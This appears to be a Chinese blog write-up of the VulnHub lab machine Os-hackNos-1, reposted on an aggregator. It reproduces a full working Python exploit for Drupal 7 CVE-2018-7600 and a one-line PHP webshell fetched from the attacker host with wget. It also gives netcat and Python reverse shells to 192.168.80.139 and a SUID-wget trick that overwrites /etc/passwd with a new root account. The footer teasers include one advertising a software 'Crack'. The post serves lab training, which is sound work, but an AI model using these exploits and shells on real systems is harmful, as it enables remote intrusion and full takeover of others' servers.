Os-hackNos-1

news2024/11/20 1:38:48

Os-hackNos-1

一、主机发现和端口扫描

  • 主机发现

    arp-scan -l
    

    在这里插入图片描述

  • 端口扫描

    nmap -P 192.168.80.141
    

    在这里插入图片描述

二、信息收集

  • 访问80端口,可知目标是ubuntu系统,中间件是Apache

    在这里插入图片描述

  • 目录扫描,发现两个路径

    dirsearch -u http://192.168.80.141/ -e *
    

    在这里插入图片描述

  • index.html路径就是主页,接着访问/drupal

    在这里插入图片描述

  • 是一个Drupal搭建的CMS,继续进行路径扫描,有一个CHANGELOG.txt文档,可以看到版本为7.57

    dirsearch -u http://192.168.80.141/drupal -e *
    

    在这里插入图片描述

    在这里插入图片描述

三、漏洞挖掘

  • 根据版本号查询历史漏洞,发现存在CVE-2018-7600,直接使用该EXP

    https://github.com/pimps/CVE-2018-7600
    git clone https://github.com/pimps/CVE-2018-7600.git
    
    #!/usr/bin/env python3
    
    import requests
    import argparse
    from bs4 import BeautifulSoup
    
    def get_args():
      parser = argparse.ArgumentParser( prog="drupa7-CVE-2018-7600.py",
                        formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50),
                        epilog= '''
                        This script will exploit the (CVE-2018-7600) vulnerability in Drupal 7 <= 7.57
                        by poisoning the recover password form (user/password) and triggering it with
                        the upload file via ajax (/file/ajax).
                        ''')
      parser.add_argument("target", help="URL of target Drupal site (ex: http://target.com/)")
      parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)")
      parser.add_argument("-f", "--function", default="passthru", help="Function to use as attack vector (default = passthru)")
      parser.add_argument("-p", "--proxy", default="", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = none)")
      args = parser.parse_args()
      return args
    
    def pwn_target(target, function, command, proxy):
      requests.packages.urllib3.disable_warnings()
      proxies = {'http': proxy, 'https': proxy}
      print('[*] Poisoning a form and including it in cache.')
      get_params = {'q':'user/password', 'name[#post_render][]':function, 'name[#type]':'markup', 'name[#markup]': command}
      post_params = {'form_id':'user_pass', '_triggering_element_name':'name', '_triggering_element_value':'', 'opz':'E-mail new Password'}
      r = requests.post(target, params=get_params, data=post_params, verify=False, proxies=proxies)
      soup = BeautifulSoup(r.text, "html.parser")
      try:
        form = soup.find('form', {'id': 'user-pass'})
        form_build_id = form.find('input', {'name': 'form_build_id'}).get('value')
        if form_build_id:
            print('[*] Poisoned form ID: ' + form_build_id)
            print('[*] Triggering exploit to execute: ' + command)
            get_params = {'q':'file/ajax/name/#value/' + form_build_id}
            post_params = {'form_build_id':form_build_id}
            r = requests.post(target, params=get_params, data=post_params, verify=False, proxies=proxies)
            parsed_result = r.text.split('[{"command":"settings"')[0]
            print(parsed_result)
      except:
        print("ERROR: Something went wrong.")
        raise
    
    def main():
      print ()
      print ('=============================================================================')
      print ('|          DRUPAL 7 <= 7.57 REMOTE CODE EXECUTION (CVE-2018-7600)           |')
      print ('|                              by pimps                                     |')
      print ('=============================================================================\n')
    
      args = get_args() # get the cl args
      pwn_target(args.target.strip(), args.function.strip(), args.command.strip(), args.proxy.strip())
    
    
    if __name__ == '__main__':
      main()
    
  • 执行命令

    python3 drupa7-CVE-2018-7600.py http://192.168.80.141/drupal/ -c "whoami"
    python3 drupa7-CVE-2018-7600.py http://192.168.80.141/drupal/ -c "pwd"
    

    在这里插入图片描述

四、连接webshell

  • 在本地编写一个webshell,并开启http服务

    <?php system($_POST['glc']);?>
    

    在这里插入图片描述

  • 将webshell下载到目标靶机的网站目录下

    python3 drupa7-CVE-2018-7600.py http://192.168.80.141/drupal/ -c "wget http://192.168.80.139/shell.php"
    

    在这里插入图片描述

    在这里插入图片描述

  • 测试webshell是否连接成功

    在这里插入图片描述

五、反弹shell

  • 目标服务器存在nc命令,使用nc反弹shell

    glc=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/bash+-i+2>%261|nc+192.168.80.139+8848+>/tmp/f
    

    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述

  • 也可以使用python反弹shell

    python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.80.139",8848));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    

    在这里插入图片描述

    在这里插入图片描述

六、二次信息收集

  • 发现一个alexander.txt文件,对其进行base64解码

    KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKysuLS0gLS0tLS0gLS0uPCsgKytbLT4gKysrPF0gPisrKy4KLS0tLS0gLS0tLjwgKysrWy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgK1stPi0gLS0tLS0gLTxdPi0gLS0tLS0gLS0uPCsKKytbLT4gKysrPF0gPisrKysgKy48KysgKysrWy0gPisrKysgKzxdPi4gKysuKysgKysrKysgKy4tLS0gLS0tLjwgKysrWy0KPisrKzwgXT4rKysgKy48KysgKysrKysgWy0+LS0gLS0tLS0gPF0+LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS4rLi0gLS0tLisKKysuPA==
    

    在这里插入图片描述

    +++++ +++++ [->++ +++++ +++<] >++++ ++.-- ----- --.<+ ++[-> +++<] >+++.
    ----- ---.< +++[- >+++< ]>+++ ++.<+ +++++ +[->- ----- -<]>- ----- --.<+
    ++[-> +++<] >++++ +.<++ +++[- >++++ +<]>. ++.++ +++++ +.--- ---.< +++[-
    >+++< ]>+++ +.<++ +++++ [->-- ----- <]>-. <+++[ ->--- <]>-- -.+.- ---.+
    ++.<
    
  • 使用的是Brainfuck加密,进行Brainfuck解密

    Brainfuck解密网站:https://www.splitbrain.org/services/ook
    
    解密结果james:Hacker@4514
    

    在这里插入图片描述

  • 尝试ssh连接,但是密码不对

    ssh james@192.168.80.141
    

    在这里插入图片描述

  • 在home中找到james和其目录下的user.txt

    在这里插入图片描述

七、权限提升

  • suid提权,需要搜索到带有s的文件,开始查找

    find / -perm -u=s -type f 2>/dev/null
    

    在这里插入图片描述

  • 发现wget具有suid权限,而且普通用户可以执行,那么可以通过下载目标靶机上的passwd文件,然后添加一个有root权限的用户到passwd文件中,然后使用wget -O将内容重定向到目标靶机的/etc/passwd中

    cat /etc/passwd
    

    在这里插入图片描述

  • 在kali中生成密码

    openssl passwd -1 -salt glc 123456
    
    $1$glc$kuZClTRBy.K2I/O4p9kSJ1
    

    在这里插入图片描述

  • 将密码添加到我们构造的passwd文件中,然后下载重定向到/etc/passwd

    glc:$1$glc$kuZClTRBy.K2I/O4p9kSJ1:0:0:root:/root:/bin/bash
    
    python3 drupa7-CVE-2018-7600.py http://192.168.80.141/drupal/ -c "wget http://192.168.80.139/passwd -O /etc/passwd"
    

    在这里插入图片描述

  • 切换到glc用户

    su glc
    

    在这里插入图片描述

  • 因为su命令必须在终端中执行,所以我们使用转换成python执行终端命令

    python3 -c 'import pty;pty.spawn("/bin/bash")'
    

    在这里插入图片描述

  • 结束

    在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1225735.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

FISCO BCOS 3.0【03】配置和使用pythonSDK

官方技术文档&#xff1a;https://fisco-bcos-doc.readthedocs.io/zh-cn/latest/index.html 我们在官方技术文档的基础上&#xff0c;进行&#xff0c;对文档中一些不清楚的地方进行修正 依赖软件 Ubuntu sudo apt install -y zlib1g-dev libffi6 libffi-dev wget git初始化…

STM32硬件调试器不一定准确,proteus不一定准确

我在做实验的过程中&#xff0c;发现里面的那个变量ii一直都不变搞了很久没有发现问题&#xff0c; 然后怀疑是不是软件出了问题&#xff0c;然后直接只用单片机的一个灯泡来检测是否正常&#xff0c;发现&#xff1a;单片机里面正常&#xff0c;但是硬件调试的时候&#xff0…

后端面经学习自测(三)

文章目录 1、ArrayList和Linkedlist区别&#xff1f;2、ArrayList扩容机制&#xff1f;3、ArrayList和Linkedlist分别能做什么场景&#xff1f;4、事务特性&#xff1f;MySQL事务Redis事务Spring事务5、在Spring中事务失效的场景&#xff1f;6、Java泛型&#xff1f;7、泛型擦除…

22 - 如何优化垃圾回收机制?

我们知道&#xff0c;在 Java 开发中&#xff0c;开发人员是无需过度关注对象的回收与释放的&#xff0c;JVM 的垃圾回收机制可以减轻不少工作量。但完全交由 JVM 回收对象&#xff0c;也会增加回收性能的不确定性。在一些特殊的业务场景下&#xff0c;不合适的垃圾回收算法以及…

VisualGDB 6.0 R2 Crack

轻松跨平台"VisualGDB 使 Visual Studio 的跨平台开发变得简单、舒适。它支持&#xff1a; 准系统嵌入式系统和物联网模块&#xff08;查看完整列表&#xff09; C/C Linux 应用程序 本机 Android 应用程序和库 Raspberry Pi 和其他Linux 板 Linux 内核模块&#xff08;单…

11 月 18 日 ROS 学习笔记——可视化和调试工具

文章目录 前言一、调试 ROS 节点1. gdb 调试器2. 在 ROS 节点启动时调用 gdb 调试器3. 在 ROS 节点启动时调用 valgrind 分析节点4. 设置 ROS 节点 core 文件转储5. 日志消息1). 输出日志消息2). 设置调试消息级别 二、检测系统状态1. rqt_graph2. 可视化坐标变换3. 保存与回放…

openGauss通过VIP实现的故障转移

&#x1f4e2;&#x1f4e2;&#x1f4e2;&#x1f4e3;&#x1f4e3;&#x1f4e3; 哈喽&#xff01;大家好&#xff0c;我是【IT邦德】&#xff0c;江湖人称jeames007&#xff0c;10余年DBA及大数据工作经验 一位上进心十足的【大数据领域博主】&#xff01;&#x1f61c;&am…

浅谈WPF之控件模板和数据模板

WPF不仅支持传统的Windows Forms编程的用户界面和用户体验设计&#xff0c;同时还推出了以模板为核心的新一代设计理念。在WPF中&#xff0c;通过引入模板&#xff0c;将数据和算法的“内容”和“形式”进行解耦。模板主要分为两大类&#xff1a;数据模板【Data Template】和控…

实验(三):微程序计数器uPC实验

一、实验内容与目的 实验要求&#xff1a; 利用 CP226 实验仪上的 K16..K23 开关做为 DBUS 的数据&#xff0c;其它开关做为控制信号&#xff0c;实现微程序计数器 uPC 的写入和加1功能。 实验目的&#xff1a; 1、了解模型机中微程序的基本概念。 2、了解 uPC 的结构、工作原理…

Java 高等院校分析与推荐系统

1&#xff09;项目简介 随着我国高等教育的大众化&#xff0c;高校毕业生就业碰到了前所未有的压力&#xff0c;高校学生就业问题开始进入相关研究者们的视野。在高校学生供给忽然急剧增加的同时&#xff0c;我国高校大学生的就业机制也在发生着深刻的变化&#xff0c;作为就业…

RT-Thread STM32F407 BMI088--SPI

BMI088是一款高性能6轴惯性传感器&#xff0c;由16位数字三轴24g加速度计和16位数字三轴2000/ s陀螺仪组成。 这里用SPI来驱动BMI088进行数据解读 第一步&#xff0c;首先在 RT-Thread Settings中进行配置 第二步&#xff0c;退出RT-Thread Settings&#xff0c;进入board.h…

未来科技中的云计算之路

随着科技的不断发展&#xff0c;云计算已经不再是一个陌生的词汇&#xff0c;而是我们日常生活中不可或缺的一部分。从智能家居到无人驾驶&#xff0c;再到虚拟现实和人工智能&#xff0c;云计算在这些领域都扮演着至关重要的角色。在这篇博客中&#xff0c;我们将一同探索云计…

SUID提权教程

SUID提权方法 一、SUID是什么&#xff1f;二、如何设置SUID权限&#xff1f;三、已知的具有SUID权限的二进制可执行文件四、查找具有root权限的SUID的文件1.find命令提权2.nmap命令提权3.more命令提权4.less命令提权5.bash命令提权6.vim命令提权7.awk命令提权8.cp命令提权 五、…

【如何学习Python自动化测试】—— 页面元素定位

接上篇自动化测试环境搭建&#xff0c;现在我们介绍 webdriver 对浏览器操作的 API。 2、 页面元素定位 通过自动化操作 web 页面&#xff0c;首先要解决的问题就是定位到要操作的对象&#xff0c;比如要模拟用户在页面上的输入框中输入一段字符串&#xff0c;那就必须得定位到…

UiPath Studio 2023.10 Crack

UiPath Studio是一款功能强大且用户友好的集成开发环境 (IDE)&#xff0c;专为机器人流程自动化 (RPA) 设计。它由自动化技术领域的领先公司UiPath开发。 以下是 UiPath Studio 的一些主要功能和组件&#xff1a; 图形用户界面 (GUI)&#xff1a;UiPath Studio 具有直观且用户友…

sqli-labs关卡18(基于http头部报错盲注)通关思路

文章目录 前言一、靶场通关需要了解的知识点1、什么是http请求头2、为什么http头部可以进行注入 二、靶场第十八关通关思路1、判断注入点2、爆数据库名3、爆数据库表4、爆数据库列5、爆数据库关键信息 总结 前言 此文章只用于学习和反思巩固sql注入知识&#xff0c;禁止用于做…

【数据预处理3】数据预处理 - 归一化和标准化

处理数据之前&#xff0c;通常会使用一些转换函数将「特征数据」转换成更适合「算法模型」的特征数据。这个过程&#xff0c;也叫数据预处理。 比如&#xff0c;我们在择偶时&#xff0c;有身高、体重、存款三个特征&#xff0c;身高是180、体重是180、存款是180000&#xff1…

算法 LeetCode 题解 | 最小栈

大家好&#xff0c;我是木川 一、题目描述 请你设计一个 最小栈 。它提供 push &#xff0c;pop &#xff0c;top 操作&#xff0c;并能在常数时间内检索到最小元素的栈。 实现 MinStack 类: MinStack() 初始化堆栈对象。void push(int val) 将元素val推入堆栈。void pop() 删除…

【Proteus仿真】【STM32单片机】公交车报站系统

文章目录 一、功能简介二、软件设计三、实验现象联系作者 一、功能简介 本项目使用Proteus8仿真STM32单片机控制器&#xff0c;使用LCD12864显示模块、DS18B20温度传感器、DS1302时钟模块、按键、LED蜂鸣器、ULN2003、28BYJ48步进电机模块等。 主要功能&#xff1a; 系统运行…

vulhub redis-4-unacc

环境搭建 cd vulhub/redis/4-unacc docker-compose up -d 漏洞复现 检测 redis-cli -h ip 使用redis工具 工具地址&#xff1a;https://github.com/vulhub/redis-rogue-getshell 下载完成后&#xff0c;先进入RedisModulesSDK/exp/ 目录进行make操作 获得exp.so后可以进行…